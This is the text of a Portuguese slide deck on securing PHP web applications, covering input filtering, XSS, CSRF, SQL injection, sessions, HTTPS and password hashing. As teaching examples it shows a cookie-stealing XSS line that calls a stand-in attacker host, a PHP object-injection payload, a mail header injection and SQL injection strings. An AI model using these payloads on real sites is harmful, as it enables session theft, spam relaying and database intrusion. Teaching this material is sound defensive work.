PHP & Segurança: Blindando Aplicações Web

Slide 1

Slide 1 text

PHP & Segurança Blindando Aplicações Web Rafael Jaques @rafajaques iMasters - PHP Experience 2017

Slide 2

Slide 2 text

“Conhecereis a verdade e a verdade vos libertará.” João 8:32

Slide 3

Slide 3 text

Rafael Jaques Professor do Instituto Federal de Educação, Ciência e Tecnologia do Rio Grande do Sul. Graduado em Análise e Desenvolvimento de Sistemas. Pós- graduado em Gestão e Docência do Ensino Superior. Mestre em Educação. Desenvolvedor web e viciado em segurança.

Slide 4

Slide 4 text

www.php-rs.org

Slide 5

Slide 5 text

Um detalhe… Não tem como falar de tudo :( Mas eu tentei…

Slide 6

Slide 6 text

1 Segurança da informação

Slide 7

Slide 7 text

Pontos-chave da SI Integridade Conﬁdencialidade Disponibilidade

Slide 8

Slide 8 text

2 Planejamento

Slide 9

Slide 9 text

Planejamento Projete o seu sistema Estude antes de implementar Revise o que foi feito Conheça o seu ambiente

Slide 10

Slide 10 text

Problemas no servidor Defesa em profundidade

Slide 11

Slide 11 text

Problemas no servidor Lei do menor privilégio

Slide 12

Slide 12 text

3 Melhorando o código desenvolvido

Slide 13

Slide 13 text

Como desenvolver um bom código?

Slide 14

Slide 14 text

Tudo começa com BOAS PRÁTICAS

Slide 15

Slide 15 text

Warning: Cannot modify header information - headers already sent by (output started at / path/to/script.php:1) in script.php on line 55 Omita as tags de fechamento Boas práticas

Slide 16

Slide 16 text

Utilize extensões consistentes Boas práticas .php .inc.php .inc .php~ .bak

Slide 17

Slide 17 text

Utilize extensões consistentes Boas práticas .php .inc.php .inc .php~ .bak httpd.conf AddType application/x-httpd-php .php .phtml

Slide 18

Slide 18 text

Nunca edite arquivos em produção Boas práticas

Slide 19

Slide 19 text

Funções perigosas exec( ) Não execute bobagem no seu sistema shell_exec( ) system( ) passthru( ) proc_*( )

Slide 20

Slide 20 text

Funções perigosas exec( ) Não execute bobagem no seu sistema shell_exec( ) system( ) passthru( ) proc_*( ) escapeshellcmd( ) escapeshellarg( )

Slide 21

Slide 21 text

Funções perigosas serialize() unserialize( )

Slide 22

Slide 22 text

Ex.: https://speakerdeck.com/willdonohoe/practical-php-security class Logger { public $logFile; public $buffer; public $fh; public function __destruct() { $this->WriteBuffer(); } public function WriteBuffer() { if (!$this->fh) { $this->fh = fopen($this->logFile, 'w'); } fwrite($this->fh, $this->buffer); } // ... } // ... $cookieData = unserialize($_COOKIE['data']); // ...

Slide 23

Slide 23 text

O:6:"Logger":3:{s:7:"logFile";s: 8:"vish.php";s:6:"buﬀer";s:27:"

Slide 24

Slide 24 text

Ex.: https://speakerdeck.com/willdonohoe/practical-php-security Primeiro resultado ao procurar no Google por php store array cookie

Slide 25

Slide 25 text

Seu ambiente também precisa de cuidado e atenção

Slide 26

Slide 26 text

Conﬁguração do ambiente Headers Podem denunciar o seu servidor expose_php php.ini

Slide 27

Slide 27 text

Apache ServerTokens Prod Major Minor Min Os Full Conﬁguração do ambiente

Slide 28

Slide 28 text

$ lwp-request -edm GET sitedealguem.com.br 200 OK [...] Connection: close Pragma: no-cache Server: Apache/2.2.22 (Debian) Vary: Accept-Encoding Content-Type: text/html X-Meta-Revisit-After: 4 days X-Powered-By: PHP/5.3.3-7+squeeze2

Slide 29

Slide 29 text

Slide 30

Slide 30 text

No content

Slide 31

Slide 31 text

Gerenciar os erros pode salvar seu dia!

Slide 32

Slide 32 text

Gerenciamento de erros display_errors error_reporting log_errors error_log Mostrar erros na tela Nível de erro mostrado Logar erros Arquivo de log

Slide 33

Slide 33 text

set_error_handler( ) error_log( ) Indica uma função para manipular erros Loga um erro personalizado Gerenciamento de erros

Slide 34

Slide 34 text

4 Filtragem de dados

Slide 35

Slide 35 text

Filtragem de dados Bypass Mistake Origin

Slide 36

Slide 36 text

Validate Sanitize filter_var( ) Validating && Sanitizing Bloqueie valores indesejados Filtragem de dados

Slide 37

Slide 37 text

filter_var( ) php.net/filter.filters FILTER_VALIDATE_* FILTER_SANITIZE_* Validação de dados Veriﬁca se determinado valor encontra-se dentro dos parâmetros esperados. Limpeza de dados Retira de um determinado valor todos os caracteres que não são permitidos.

Slide 38

Slide 38 text

Validação filter_var( , ) $valor CONSTANTE_FILTRO Valor filtrado bool(false)

Slide 39

Slide 39 text

Validação FILTER_VALIDATE_EMAIL “rafa@php.net" string(12) “rafa@php.net” “1@2.3" bool(false) 5 bool(false) “1@2” bool(false) “phpit.com.br” bool(false) “joao quem”@site.com bool(false)

Slide 40

Slide 40 text

Validação FILTER_VALIDATE_FLOAT php.net/filter.filters.validate FILTER_VALIDATE_BOOLEAN FILTER_VALIDATE_IP FILTER_VALIDATE_URL

Slide 41

Slide 41 text

Limpeza FILTER_SANITIZE_URL http://phpit.com.br http://phpit.com.br£ phpitº.com.br br¶ § string(19) "http://phpit.com.br" string(19) "http://phpit.com.br" string(12) "phpit.com.br" string(2) "br" string(0) ""

Slide 42

Slide 42 text

FILTER_SANITIZE_STRING uma string string(10) "uma string" string(12) "uma string *" string(21) "uma string<tag>" Limpeza uma string * uma string<tag>

Slide 43

Slide 43 text

Limpeza FILTER_SANITIZE_EMAIL php.net/filter.filters.validate FILTER_SANITIZE_SPECIAL_CHARS FILTER_SANITIZE_ENCODED FILTER_SANITIZE_NUMBER_INT

Slide 44

Slide 44 text

Cuidados com Formulários

Slide 45

Slide 45 text

Spoofed Form Submissions Cuidados com formulários

Slide 46

Slide 46 text

Abuso de form mail Cuidados com formulários

Slide 47

Slide 47 text

Abuso de form mail "; $para = "email@seguro.com"; $assunto = "Contato via site"; $corpo = $_POST['mensagem']; mail($para, $assunto, $corpo, $cabecalhos);

Slide 48

Slide 48 text

Abuso de form mail From: Fulaninho To: email@seguro.com Subject: Contato via site Esta é a mensagem do e-mail Esperado

Slide 49

Slide 49 text

Abuso de form mail From: Fulaninho To: email@seguro.com Subject: Contato via site Esta é a mensagem do e-mail Esperado Fulaninho\nBcc:um@email.com,spam@enviar.com,

Slide 50

Slide 50 text

Abuso de form mail From: Fulaninho Bcc: um@email.com, spam@enviar.com, To: email@seguro.com Subject: Contato via site Aqui coloco uma mensagem de SPAM sobre viagra ou algo assim! Possível

Slide 51

Slide 51 text

5 Upload de arquivos

Slide 52

Slide 52 text

MIME Type do $_FILES Upload de arquivos

Slide 53

Slide 53 text

Verificar o tipo da imagem exif_imagetype( ) Upload de arquivos

Slide 54

Slide 54 text

php.net/function.exif-imagetype Upload de arquivos

Slide 55

Slide 55 text

Ressalvar imagens Upload de arquivos

Slide 56

Slide 56 text

6 Injeção de código

Slide 57

Slide 57 text

XSS Cross-Site Scripting

Slide 58

Slide 58 text

XSS Cross-Site Scripting document.location = "http://sitedomal.com?c=" + document.cookie

Slide 59

Slide 59 text

XSS Cross-Site Scripting Filtrar dados externos Utilize as funções de filtro Utilize uma white-list

Slide 60

Slide 60 text

htmlentities( ) strip_tags( ) XSS Cross-Site Scripting Utilize as funções de filtro utf8_decode( ) filter_var( )

Slide 61

Slide 61 text

XSS Cross-Site Scripting Cuidado com injeção de CSS expression( ) url( ) Métodos  específicos moz- binding

Slide 62

Slide 62 text

CSRF Cross-Site Request Forgery

Slide 63

Slide 63 text

CSRF Cross-Site Request Forgery http://meusite.com/voto.php?id=1

Slide 64

Slide 64 text

CSRF Cross-Site Request Forgery Exigir um token Solicitar reautenticação Prefira POST em vez de GET Limite o tempo de sessão Verificar Referer Force o uso de seus formulários uniqid( ) $_SERVER['HTTP_REFERER']

Slide 65

Slide 65 text

Outros tipos de injeção XPath LDAP Bibliotecas de terceiros Upload de arquivos

Slide 66

Slide 66 text

Indo além da Validação de dados

Slide 67

Slide 67 text

Além da validação Regras de negócio Filtrou a entrada? Filtre a saída! Não confie nos cookies!

Slide 68

Slide 68 text

7 Segurança em bancos de dados

Slide 69

Slide 69 text

SGBDs suportados pelo PHP php.net/refs.database dBase DB++ CUBRID FrontBase FireBird/Interbase filePro Ingres Informix IBM DB2 mSQL Mongo MaxDB Oracle MySQL M$ SQL PostgreSQL Paradox Ovrimos SQL Tokyo Tyrant Sybase SQLite

Slide 70

Slide 70 text

Conceitos básicos de segurança em Bancos de Dados

Slide 71

Slide 71 text

Lei do Menor Privilégio

Slide 72

Slide 72 text

Não permita Acesso Remoto

Slide 73

Slide 73 text

Preﬁra utilizar UTF-8

Slide 74

Slide 74 text

Escapar caracteres não é seguro mysql_real_escape_string( ) addslashes( )

Slide 75

Slide 75 text

SQL e Blind SQL Injection

Slide 76

Slide 76 text

SQL Injection

Slide 77

Slide 77 text

SQL Injection Injeção de código SQL arbitrário dentro de uma consulta legítima.

Slide 78

Slide 78 text

SQL Injection

Slide 79

Slide 79 text

SQL Injection 1' OR 1='1

Slide 80

Slide 80 text

SQL Injection fulano'# ou fulano' --

Slide 81

Slide 81 text

extension:php mysql_query $_GET

Slide 82

Slide 82 text

SQL Injection Blind

Slide 83

Slide 83 text

Injeção de código arbitrário sem visualização da saída do banco. Blind SQL Injection

Slide 84

Slide 84 text

Prepared Statements e ORMs

Slide 85

Slide 85 text

Prepared Statements Declarações preparadas Compila as consultas SQL Utiliza placeholders

Slide 86

Slide 86 text

Declarações preparadas INSERT INTO produtos (nome, preco) VALUES (?, ?) Prepared Statements

Slide 87

Slide 87 text

ORM Object-relational mapping Reduz a escrita de SQL Acesso ao banco através de classes

Slide 88

Slide 88 text

ORMs

Slide 89

Slide 89 text

Exposição de credenciais

Slide 90

Slide 90 text

O que acontece se alguém tiver acesso aos seus arquivos?

Slide 91

Slide 91 text

E se o PHP parar de funcionar?

Slide 92

Slide 92 text

No content

Slide 93

Slide 93 text

8 Cookies e sessions

Slide 94

Slide 94 text

Cookies são client-side Sessions são server-side Cookies e Sessions

Slide 95

Slide 95 text

Cliente Servidor Requisição HTTP Resposta HTTP + Set Cookie Requisição HTTP Resposta HTTP Cookies e Sessions

Slide 96

Slide 96 text

Servidor session_start() Veriﬁca se a sessão existe Procura pelo SESSID em um cookie Procura pelo SESSID numa querystring Busca os dados e cria a $_SESSION Sim Sim Não Cria uma nova SESSID Não Cookies e Sessions

Slide 97

Slide 97 text

Roubo de Cookie (Cookie Theft)

Slide 98

Slide 98 text

Tome cuidado com XSS

Slide 99

Slide 99 text

Cookies também podem ser roubados com sniﬀers Proteja utilizando HTTPS

Slide 100

Slide 100 text

Vulnerabilidades de Sessão

Slide 101

Slide 101 text

Dados de sessão podem ser visualizados via sniﬀ quando não criptografado com HTTPS Exposição de Sessão

Slide 102

Slide 102 text

Hospedagens compartilhadas podem vazar dados dentro dos diretórios com permissões de leitura a todos Utilize session_set_save_handler() para alterar o comportamento de gravação dos dados de sessão Exposição de Sessão

Slide 103

Slide 103 text

Roubo de Sessão (Session Hijacking)

Slide 104

Slide 104 text

É possível ﬁxar um SID, forjar ou até mesmo capturar um cookie! Roubo de Sessão

Slide 105

Slide 105 text

Algumas sugestões para evitar roubo de sessão (tente equilibrar usabilidade e segurança): Gerar tokens únicos por usuário Verificar User-Agent e IP Utilizar sessões apenas via cookies Roubo de Sessão

Slide 106

Slide 106 text

Não sacriﬁque a usabilidade do projeto!

Slide 107

Slide 107 text

No content

Slide 108

Slide 108 text

não

Slide 109

Slide 109 text

2FA, 3FA, 4FA…

Slide 110

Slide 110 text

9 Tráfego na web

Slide 111

Slide 111 text

Fluxo do tráfego Cliente Servidor Requisição HTTP Resposta HTTP Requisição HTTP Resposta HTTP

Slide 112

Slide 112 text

Sniﬀers em redes abertas

Slide 113

Slide 113 text

Wireshark

Slide 114

Slide 114 text

No content

Slide 115

Slide 115 text

Conﬁgurando um certiﬁcado SSL

Slide 116

Slide 116 text

http://www.phpit.com.br/artigos/conﬁgurando-ssl- servidor-de-desenvolvimento-apache.phpit Gerando um certiﬁcado para testes

Slide 117

Slide 117 text

No content

Slide 118

Slide 118 text

Alternando entre HTTP e HTTPS

Slide 119

Slide 119 text

Leves diferenças na $_SERVER sob HTTPS

Slide 120

Slide 120 text

$_SERVER [HTTP_HOST] => localhost [SERVER_SOFTWARE] => Apache/2.2.22 [SERVER_NAME] => localhost [SERVER_ADDR] => 127.0.0.1 [SERVER_PORT] => 80 [REMOTE_ADDR] => 127.0.0.1 [DOCUMENT_ROOT] => /var/www HTTP [HTTPS] => on [SSL_TLS_SNI] => localhost [HTTP_HOST] => localhost [SERVER_SOFTWARE] => Apache/2.2.22 [SERVER_NAME] => localhost [SERVER_ADDR] => 127.0.0.1 [SERVER_PORT] => 443 [REMOTE_ADDR] => 127.0.0.1 [DOCUMENT_ROOT] => /var/www HTTPS

Slide 121

Slide 121 text

Force a utilização do protocolo HTTPS Via aplicação ou via apache

Slide 122

Slide 122 text

10 Armazenando senhas

Slide 123

Slide 123 text

md5… sha1…

Slide 124

Slide 124 text

crypt password_hash

Slide 125

Slide 125 text

12]); // Exemplo: $2y$12$0VeJrCeppjPkEkxwuJNRRudT25GAUprLgzUHq5zX01G2LPJyZjixS if (password_verify('abacaxi', $cript)) { echo 'Senha OK'; } else { echo 'Deu ruim!'; }

Slide 126

Slide 126 text

10]; // Verifica se a senha está OK if (password_verify($senha, $hash)) { // Se deu certo, verifica se a senha atende às novas // opções (como algoritmo ou custo diferentes) if (password_needs_rehash($hash, PASSWORD_DEFAULT, $opcoes)) { // Gera uma senha nova para substituir a antiga $novoHash = password_hash($senha, PASSWORD_DEFAULT, $opcoes); } }

Slide 127

Slide 127 text

É possível deﬁnir um salt, mas não é recomendado!

Slide 128

Slide 128 text

11 Aplicações de veriﬁcação de vulnerabilidades

Slide 129

Slide 129 text

https://github.com/zaproxy/zaproxy

Slide 130

Slide 130 text

http://beefproject.com/

Slide 131

Slide 131 text

https://portswigger.net/burp/

Slide 132

Slide 132 text

http://www.commixproject.com/

Slide 133

Slide 133 text

https://github.com/jkingsman/Bishop

Slide 134

Slide 134 text

http://sqlmap.org/

Slide 135

Slide 135 text

https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project WebGoat - Aplicação Vulnerável para Estudo

Slide 136

Slide 136 text

Monitorar logs Manter PHP atualizado Frameworks Segurança física Últimas dicas

Slide 137

Slide 137 text

Sempre que possível, utilize código refatorado Exposição phpinfo() Cuidados ao enviar e-mails Segurança no sistema de arquivos Últimas dicas

Slide 138

Slide 138 text

Obrigado! Rafael Jaques rafa@php.net rafajaques.com.br / phpit.com.br @rafajaques speakerdeck.com/rafajaques w @

Slide 139

Slide 139 text

Imagens utilizadas • https://flic.kr/p/5Ndwd8 • https://flic.kr/p/i3NEP6 • Icons made by Madebyoliver from www.flaticon.com is licensed by CC 3.0 BY